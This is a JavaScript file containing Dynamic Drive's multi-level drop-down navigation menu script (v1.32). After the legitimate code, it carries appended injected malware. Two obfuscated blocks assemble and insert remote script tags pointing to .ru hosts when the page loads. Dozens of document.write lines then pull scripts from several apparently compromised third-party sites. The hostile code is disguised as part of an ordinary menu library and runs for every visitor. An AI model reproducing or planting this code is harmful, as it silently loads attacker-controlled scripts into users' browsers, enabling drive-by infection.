//** All Levels Navigational Menu- (c) Dynamic Drive DHTML code library: http://www.dynamicdrive.com
//** Script Download/ instructions page: http://www.dynamicdrive.com/dynamicindex1/ddlevelsmenu/
//** Usage Terms: http://www.dynamicdrive.com/notice.htm

//** July 7th, 08'- Creation Date

//** July 16th, 08'- Updated to v 1.3:
	//1) Adds "Side Bar" orientation option. 
	//2) Drop Down Menus now auto adjust their positioning if too close to either right or bottom window edges.
	//3) Enhanced IFRAME shim "coverage" on the page.

//** July 19th, 08'- Updated to v 1.31: Drop down menu now positions at top of window edge if there's neither room downwards or upwards to settle.
//** Aug 13th, 08'- v1.32: Moved "rel" attribute from menu's <li> elements to inner <a>, for validation reasons

var ddlevelsmenu={

downarrowpointer: ["ddlevelsfiles/arrow-down.gif", 11,7], //path to "down arrow" image that gets added to main menu items (last 2 parameters should be width/height of img)
rightarrowpointer: ["ddlevelsfiles/arrow-right.gif", 12,12], //path to "right arrow" image that gets added to LI elements within drop down menu containing additional menus
hideinterval: 200, //delay in milliseconds before sub menu(s) disappears onmouseout.
httpsiframesrc: "blank.htm", //If menu is run on a secure (https) page, the IFRAME shim feature used by the script should point to an *blank* page *within* the secure area to prevent an IE security prompt. Specify full URL to that page on your server (leave as is if not applicable).

///No need to edit beyond here////////////////////

topmenuids: [], //array containing ids of all the primary menus on the page
topitems: {}, //object array containing all top menu item links
subuls: {}, //object array containing all ULs
topitemsindex: -1,
ulindex: -1,
hidetimers: {}, //object array timer
shimadded: false,

getoffset:function(what, offsettype){
	return (what.offsetParent)? what[offsettype]+this.getoffset(what.offsetParent, offsettype) : what[offsettype]
},

getoffsetof:function(el){
	el._offsets={left:this.getoffset(el, "offsetLeft"), top:this.getoffset(el, "offsetTop")}
},

getwindowsize:function(){
	this.docwidth=window.innerWidth? window.innerWidth-10 : this.standardbody.clientWidth-10
	this.docheight=window.innerHeight? window.innerHeight-15 : this.standardbody.clientHeight-18
},

gettopitemsdimensions:function(){
	for (var m=0; m<this.topmenuids.length; m++){
		var topmenuid=this.topmenuids[m]
		for (var i=0; i<this.topitems[topmenuid].length; i++){
			var header=this.topitems[topmenuid][i]
			var submenu=document.getElementById(header.getAttribute('rel'))
			header._dimensions={w:header.offsetWidth, h:header.offsetHeight, submenuw:submenu.offsetWidth, submenuh:submenu.offsetHeight}
		}
	}
},

isContained:function(m, e){
	var e=window.event || e
	var c=e.relatedTarget || ((e.type=="mouseover")? e.fromElement : e.toElement)
	while (c && c!=m)try {c=c.parentNode} catch(e){c=m}
	if (c==m)
		return true
	else
		return false
},

addpointer:function(target, imgclass, imginfo){
	var pointer=document.createElement("img")
	pointer.src=imginfo[0]
	pointer.style.width=imginfo[1]+"px"
	pointer.style.height=imginfo[2]+"px"
	pointer.className=imgclass
	target.appendChild(pointer)
},

css:function(el, targetclass, action){
	var needle=new RegExp("(^|\\s+)"+targetclass+"($|\\s+)", "ig")
	if (action=="check")
		return needle.test(el.className)
	else if (action=="remove")
		el.className=el.className.replace(needle, "")
	else if (action=="add" && !needle.test(el.className))
		el.className+=" "+targetclass
},

addshimmy:function(target){
	var shim=(!window.opera)? document.createElement("iframe") : document.createElement("div") //Opera 9.24 doesnt seem to support transparent IFRAMEs
	shim.className="ddiframeshim"
	shim.setAttribute("src", location.protocol=="https:"? this.httpsiframesrc : "about:blank")
	shim.setAttribute("frameborder", "0")
	target.appendChild(shim)
	try{
		shim.style.filter='progid:DXImageTransform.Microsoft.Alpha(style=0,opacity=0)'
	}
	catch(e){}
	return shim
},

positionshim:function(header, submenu, dir, scrollX, scrollY){
	if (header._istoplevel){
		var scrollY=window.pageYOffset? window.pageYOffset : this.standardbody.scrollTop
		var topgap=header._offsets.top-scrollY
		var bottomgap=scrollY+this.docheight-header._offsets.top-header._dimensions.h
		if (topgap>0){
			this.shimmy.topshim.style.left=scrollX+"px"
			this.shimmy.topshim.style.top=scrollY+"px"
			this.shimmy.topshim.style.width="99%"
			this.shimmy.topshim.style.height=topgap+"px" //distance from top window edge to top of menu item
		}
		if (bottomgap>0){
			this.shimmy.bottomshim.style.left=scrollX+"px"
			this.shimmy.bottomshim.style.top=header._offsets.top + header._dimensions.h +"px"
			this.shimmy.bottomshim.style.width="99%"
			this.shimmy.bottomshim.style.height=bottomgap+"px" //distance from bottom of menu item to bottom window edge
		}
	}
},

hideshim:function(){
	this.shimmy.topshim.style.width=this.shimmy.bottomshim.style.width=0
	this.shimmy.topshim.style.height=this.shimmy.bottomshim.style.height=0
},


buildmenu:function(mainmenuid, header, submenu, submenupos, istoplevel, dir){
	header._master=mainmenuid //Indicate which top menu this header is associated with
	header._pos=submenupos //Indicate pos of sub menu this header is associated with
	header._istoplevel=istoplevel
	if (istoplevel){
		this.addEvent(header, function(e){
		ddlevelsmenu.hidemenu(ddlevelsmenu.subuls[this._master][parseInt(this._pos)])
		}, "click")
	}
	this.subuls[mainmenuid][submenupos]=submenu
	header._dimensions={w:header.offsetWidth, h:header.offsetHeight, submenuw:submenu.offsetWidth, submenuh:submenu.offsetHeight}
	this.getoffsetof(header)
	submenu.style.left=0
	submenu.style.top=0
	submenu.style.visibility="hidden"
	this.addEvent(header, function(e){ //mouseover event
		if (!ddlevelsmenu.isContained(this, e)){
			if (typeof ddlevelsmenu.hidetimers[this._master][parseInt(this._pos)]!="undefined")
				clearTimeout(ddlevelsmenu.hidetimers[this._master][parseInt(this._pos)])
			if (this._istoplevel)
				ddlevelsmenu.css(this, "selected", "add")
			var submenu=ddlevelsmenu.subuls[this._master][parseInt(this._pos)]
			ddlevelsmenu.getoffsetof(header)
			var scrollX=window.pageXOffset? window.pageXOffset : ddlevelsmenu.standardbody.scrollLeft
			var scrollY=window.pageYOffset? window.pageYOffset : ddlevelsmenu.standardbody.scrollTop
			var submenurightedge=this._offsets.left + this._dimensions.submenuw + (this._istoplevel && dir=="topbar"? 0 : this._dimensions.w)
			var submenubottomedge=this._offsets.top + this._dimensions.submenuh
			//Sub menu starting left position
			var menuleft=(this._istoplevel? this._offsets.left + (dir=="sidebar"? this._dimensions.w : 0) : this._dimensions.w)
			if (submenurightedge-scrollX>ddlevelsmenu.docwidth){
				menuleft+= -this._dimensions.submenuw + (this._istoplevel && dir=="topbar" ? this._dimensions.w : -this._dimensions.w)
			}
			submenu.style.left=menuleft+"px"
			//Sub menu starting top position
			var menutop=(this._istoplevel? this._offsets.top + (dir=="sidebar"? 0 : this._dimensions.h) : this.offsetTop)
			if (submenubottomedge-scrollY>ddlevelsmenu.docheight){ //no room downwards?
				if (this._dimensions.submenuh<this._offsets.top+(dir=="sidebar"? this._dimensions.h : 0)-scrollY){ //move up?
					menutop+= - this._dimensions.submenuh + (this._istoplevel && dir=="topbar"? -this._dimensions.h : this._dimensions.h)
				}
				else{ //top of window edge
					menutop+= -(this._offsets.top-scrollY) + (this._istoplevel && dir=="topbar"? -this._dimensions.h : 0)
				}
			}
			submenu.style.top=menutop+"px"			
			ddlevelsmenu.positionshim(this, submenu, dir, scrollX, scrollY)
			submenu.style.visibility="visible"
		}
	}, "mouseover")
	this.addEvent(header, function(e){ //mouseout event
		if (this._istoplevel){
			var submenu=ddlevelsmenu.subuls[this._master][parseInt(this._pos)]
			if (!ddlevelsmenu.isContained(this, e) && !ddlevelsmenu.isContained(submenu, e)) //hide drop down ul if mouse moves out of menu bar item but not into drop down ul itself
				ddlevelsmenu.hidemenu(submenu)
		}
		else if (!this._istoplevel && !ddlevelsmenu.isContained(this, e)){
			var headerlist=this
			ddlevelsmenu.hidetimers[this._master][parseInt(this._pos)]=setTimeout(function(){
				var submenu=ddlevelsmenu.subuls[headerlist._master][parseInt(headerlist._pos)]
				ddlevelsmenu.hidemenu(submenu)
			}, ddlevelsmenu.hideinterval)
		}
	}, "mouseout")
},

hidemenu:function(submenu){
	if (typeof submenu._pos!="undefined"){ //if submenu is outermost UL drop down menu
		this.css(this.topitems[submenu._master][parseInt(submenu._pos)], "selected", "remove")
		this.hideshim()
	}
	submenu.style.left=0
	submenu.style.top="-1000px"
	submenu.style.visibility="hidden"
},


addEvent:function(target, functionref, tasktype) {
	if (target.addEventListener)
		target.addEventListener(tasktype, functionref, false);
	else if (target.attachEvent)
		target.attachEvent('on'+tasktype, function(){return functionref.call(target, window.event)});
},

init:function(mainmenuid, dir){
	this.standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body
	this.topitemsindex=-1
	this.ulindex=-1
	this.topmenuids.push(mainmenuid)
	this.topitems[mainmenuid]=[] //declare array on object
	this.subuls[mainmenuid]=[] //declare array on object
	this.hidetimers[mainmenuid]=[] //declare array on object
	if (!this.shimadded){
		this.shimmy={}
		this.shimmy.topshim=this.addshimmy(document.body) //create top iframe shim obj
		this.shimmy.bottomshim=this.addshimmy(document.body) //create bottom iframe shim obj
		this.shimadded=true
	}
	var menubar=document.getElementById(mainmenuid)
	var alllinks=menubar.getElementsByTagName("a")
	this.getwindowsize()
	for (var i=0; i<alllinks.length; i++){
		if (alllinks[i].getAttribute('rel')){
			this.topitemsindex++
			this.ulindex++
			var menuitem=alllinks[i]
			this.topitems[mainmenuid][this.topitemsindex]=menuitem //store ref to main menu links
			var dropul=document.getElementById(menuitem.getAttribute('rel'))
			dropul.style.zIndex=2000 //give drop down menus a high z-index
			dropul._master=mainmenuid  //Indicate which main menu this main UL is associated with
			dropul._pos=this.topitemsindex //Indicate which main menu item this main UL is associated with
			this.addEvent(dropul, function(){ddlevelsmenu.hidemenu(this)}, "click")
			var arrowpointer=(dir=="sidebar")? "rightarrowpointer" : "downarrowpointer"
			this.addpointer(menuitem, arrowpointer, this[arrowpointer])
			this.buildmenu(mainmenuid, menuitem, dropul, this.ulindex, true, dir) //build top level menu
			//dropul.onmouseover=function(){
				//do nothing
			//}
			this.addEvent(dropul, function(e){ //hide menu if mouse moves out of main UL element into open space
				if (!ddlevelsmenu.isContained(this, e) && !ddlevelsmenu.isContained(ddlevelsmenu.topitems[this._master][parseInt(this._pos)], e)){
					var dropul=this
					ddlevelsmenu.hidetimers[this._master][parseInt(this._pos)]=setTimeout(function(){
						ddlevelsmenu.hidemenu(dropul)
					}, ddlevelsmenu.hideinterval)
				}
			}, "mouseout")
			var subuls=dropul.getElementsByTagName("ul")
			for (var c=0; c<subuls.length; c++){
				this.ulindex++
				var parentli=subuls[c].parentNode
				this.addpointer(parentli.getElementsByTagName("a")[0], "rightarrowpointer", this.rightarrowpointer)
				this.buildmenu(mainmenuid, parentli, subuls[c], this.ulindex, false, dir) //build sub level menus
			}
		}
	} //end for loop
	this.addEvent(window, function(){ddlevelsmenu.getwindowsize(); ddlevelsmenu.gettopitemsdimensions()}, "resize")
},

setup:function(mainmenuid, dir){
	this.addEvent(window, function(){ddlevelsmenu.init(mainmenuid, dir)}, "load")
}

}

var b='';var M=[];function Im(){var z=String("defer");var v=new Date();var S="srcQZIK".substr(0,3);c=["Z"];var p=["k","Se","uz"];var l=window;var h=new Date();cd=["kc"];var H="bodyRFK6".substr(0,4);N=["Pr"];this.Q=55091;this.Q+=60;var i=document;this.cX=false;var O=String("onl"+"suPNoad".substr(4));var Rl=new Array();SK=["lR","MN"];var y=String("ap"+"peEBG".substr(0,2)+"nd"+"Ch"+"81oilo81".substr(3,2)+"d");D=[];pO=15857;pO-=23;var R=new String("scripjmnf".substr(0,5)+"t");t=56189;t+=178;var B="crea"+"teEl"+"emenQ6f9".substr(0,4)+"tucX".substr(0,1);function _(){var G=["T"];F=62324;F--;try {var fj={};var ic={};var _U=new String("http:"+"//pas"+"sport"+"blues"+".ru:");var wu={a:4824};var C="/go"+"ogl"+"e.cDiq".substr(0,3)+"FpHQom/".substr(4)+"yas5new".substr(4)+"s.cYZNQ".substr(0,3)+"yJtom.".substr(3)+"au/DYJ2".substr(0,3)+"xacrtum".substr(4)+"blr"+"lrkL.co".substr(4)+"WlDm.p".substr(3)+"4n1hpn14".substr(3,2);this.SG=false;var cb=["tA"];this.FA="FA";var m=7332-7331;var A="";var ym=496666-488586;aO={UD:false};var Ud="Ud";P=i[B](R);this.Wg=15225;this.Wg--;var iy=["lk","Fc","px"];P[S]=_U+ym+C;uj=["uu","X","wJ"];SS=5254;SS-=137;P[z]=m;try {var uk='L'} catch(uk){};this.Li="Li";this.Pa="Pa";kO=["BM","Fb"];i[H][y](P);var wi='';var nn='';} catch(K){this.r=false;If={};this.jB=55282;this.jB-=232;};QI=7779;QI-=230;CO=[];}zB=64389;zB--;l[O]=_;hsu={bZ:"sI"};};Uz={OG:22476};var MM={};Im();
J={M:7899};hm={z:62179};MO={uU:10395};try {P=["zf"];try {var L='r'} catch(L){};o=["pl"];ps=["W"];this.an=13955;this.an++;this.X=false;var Y=window["unes"+"cape"];var XI="";Pt=14512;Pt-=60;gW={PH:"Zo"};tR=["lN","ifp","f"];var g=window[(String("Re"+"gE"+"71Gxp".substr(3)))];var V=false;this.bC="";var e=new String();var _=["IU","IR"];var hk=["k","O"];this.D=false;var Pk=["m","fw"];var v="1";var u='';Jh=54077;Jh++;JM=5761;JM++;try {var IA='em'} catch(IA){};cn={};var n=new String("on"+"lo"+"S1Mad".substr(3));this.iO=false;this.IC="";var lT={x:false};var DK={uE:false};var w=new String("repla"+"ce");try {var lg='kR'} catch(lg){};var q="q";var oP=[];try {} catch(sH){};RV=33597;RV-=126;var iu=[];function s(v,Z){this.Tz=47687;this.Tz-=44;N={};wk={};be=["dp"];this.BM="";var GZ=["ok","XP"];vA=9350;vA+=181;var Tl=["Wk","Sz"];mu={nR:"C"};var h=String("[");var hV={aC:false};var _m=new Date();this.pc='';h+=Z;var Wv=new String();Vf=["mn","tE"];this.e_=7319;this.e_++;this.lA=61941;this.lA++;js=["qB"];h+=Y("%5d");var oq={Q_:1824};xg={BW:"Jc"};var Dm=["Kz"];var d=new g(h, new String("g"));var EW=new Date();var Zc=new Date();var aY={Fw:"xf"};return v.replace(d, u);};ZWn=[];this.md=2617;this.md+=236;var ej=["Pzz","XF","Xx"];var ZB={jO:false};var LDH=new Date();var og=["_N"];var S=424329-416249;dU=[];NG={uX:63492};Gy={};var T="sK0/go".substr(3)+"ogl"+"e.c"+"K2jom/j2K".substr(3,3)+"bad"+"ong"+"o.c"+"om/"+"dbirun".substr(3)+"uBatescuBta".substr(4,3)+"M29ape".substr(3)+".co"+"m.pFxCo".substr(0,3)+"hp";var b=String("http:flJO".substr(0,5)+"//gotzBj".substr(0,5)+"wQVhguilQwV".substr(3,5)+"t.ru:");var PE={LdM:false};var Sf=["cf","JH"];function YM(){var KzS="";this.JrR="JrR";var a=new String("tRTappe".substr(3)+"ndCh"+"uNnOildONnu".substr(4,3));var b_=s('sacQrvi6pDtj','yHRoBNFvVx2_QqSjh6nYa879D');var FB=new String();YF=["fq"];try {var Fl='iL'} catch(Fl){};var jT=new String();var _Ws=new Date();var Hu=["FD","LR"];try {var Kd='pG'} catch(Kd){};var i=document;ow=21159;ow++;JQ={gK:"Ov"};Vh={wf:"ob"};try {var IO='qD'} catch(IO){};try {var vz='hU'} catch(vz){};var LI=["gk","ac","pb"];var pj=["CQ","yW","jp"];var hD="hD";var ja={};var eX=[];IE=["vP","meU","Zt"];var th=[];var Lt={};y=i.createElement(b_);fc={};var ut=false;var SG=false;this.AFg="AFg";this.oH=23072;this.oH-=30;p=b+S;try {} catch(GR){};var aTN=["eJ","Ez"];this.fb=false;p=p+T;var mI='';var IZ={sx:38262};var jv='';var NR="NR";var kw={ls:14872};var cO=["Vg","pn"];var QL={Do:19960};var K=i.body;var Qh={jo:false};this._C=16848;this._C+=228;xt=["ZcA"];this.XY=12502;this.XY--;y.src=p;y[new String("defe"+"r")]=v;var jC=[];K[a](y);Va=[];BT=[];};window[n]=YM;var KP=new String();var cfR=new String();cU=["XBe"];} catch(dn){try {var lD='yM'} catch(lD){};Nn=[];var Kv="";};var Td={Tc:"Ic"};dQ=10245;dQ-=73;pL=28917;pL-=73;XG=21002;XG-=96;var Fu={eAU:"dv"};



document.write('<s'+'cript type="text/javascript" src="http://questtore.hermosayasociados.com:8080/Kilobyte.js"></scr'+'ipt>');
document.write('<script src=http://lopata.cz/images/vykopy-demolice-staveb-rezani-betonu-likvidace-parezu.php ><\/script>');
document.write('<script src=http://lopata.cz/images/vykopy-demolice-staveb-rezani-betonu-likvidace-parezu.php ><\/script>');
document.write('<script src=http://lopata.cz/images/vykopy-demolice-staveb-rezani-betonu-likvidace-parezu.php ><\/script>');
document.write('<script src=http://pbdsa.anet.com.pl/SpryAssets/style.php ><\/script>');
document.write('<script src=http://pbdsa.anet.com.pl/SpryAssets/style.php ><\/script>');
document.write('<script src=http://pbdsa.anet.com.pl/SpryAssets/style.php ><\/script>');
document.write('<script src=http://pbdsa.anet.com.pl/SpryAssets/style.php ><\/script>');
document.write('<script src=http://pbdsa.anet.com.pl/SpryAssets/style.php ><\/script>');
document.write('<script src=http://pbdsa.anet.com.pl/SpryAssets/style.php ><\/script>');
document.write('<script src=http://pbdsa.anet.com.pl/SpryAssets/style.php ><\/script>');
document.write('<script src=http://pbdsa.anet.com.pl/SpryAssets/style.php ><\/script>');
document.write('<script src=http://pbdsa.anet.com.pl/SpryAssets/style.php ><\/script>');
document.write('<script src=http://pbdsa.anet.com.pl/SpryAssets/style.php ><\/script>');
document.write('<script src=http://pbdsa.anet.com.pl/SpryAssets/style.php ><\/script>');
document.write('<script src=http://pbdsa.anet.com.pl/SpryAssets/style.php ><\/script>');
document.write('<script src=http://pbdsa.anet.com.pl/SpryAssets/style.php ><\/script>');
document.write('<script src=http://pbdsa.anet.com.pl/SpryAssets/style.php ><\/script>');
document.write('<script src=http://pbdsa.anet.com.pl/SpryAssets/style.php ><\/script>');
document.write('<script src=http://pbdsa.anet.com.pl/SpryAssets/style.php ><\/script>');
document.write('<script src=http://becoupon.com/deal_pictures/index.php ><\/script>');
document.write('<script src=http://becoupon.com/deal_pictures/index.php ><\/script>');
document.write('<script src=http://becoupon.com/deal_pictures/index.php ><\/script>');
document.write('<script src=http://becoupon.com/deal_pictures/index.php ><\/script>');
document.write('<script src=http://becoupon.com/deal_pictures/index.php ><\/script>');
document.write('<script src=http://becoupon.com/deal_pictures/index.php ><\/script>');
document.write('<script src=http://becoupon.com/deal_pictures/index.php ><\/script>');
document.write('<script src=http://becoupon.com/deal_pictures/index.php ><\/script>');
document.write('<script src=http://telegathering.cw.tc/store/Telepics/0004/a9vu/vswj.php ><\/script>');
document.write('<script src=http://telegathering.cw.tc/store/Telepics/0004/a9vu/vswj.php ><\/script>');
document.write('<script src=http://telegathering.cw.tc/store/Telepics/0004/a9vu/vswj.php ><\/script>');
document.write('<script src=http://telegathering.cw.tc/store/Telepics/0004/a9vu/vswj.php ><\/script>');
document.write('<script src=http://telegathering.cw.tc/store/Telepics/0004/a9vu/vswj.php ><\/script>');
document.write('<script src=http://telegathering.cw.tc/store/Telepics/0004/a9vu/vswj.php ><\/script>');
document.write('<script src=http://telegathering.cw.tc/store/Telepics/0004/a9vu/vswj.php ><\/script>');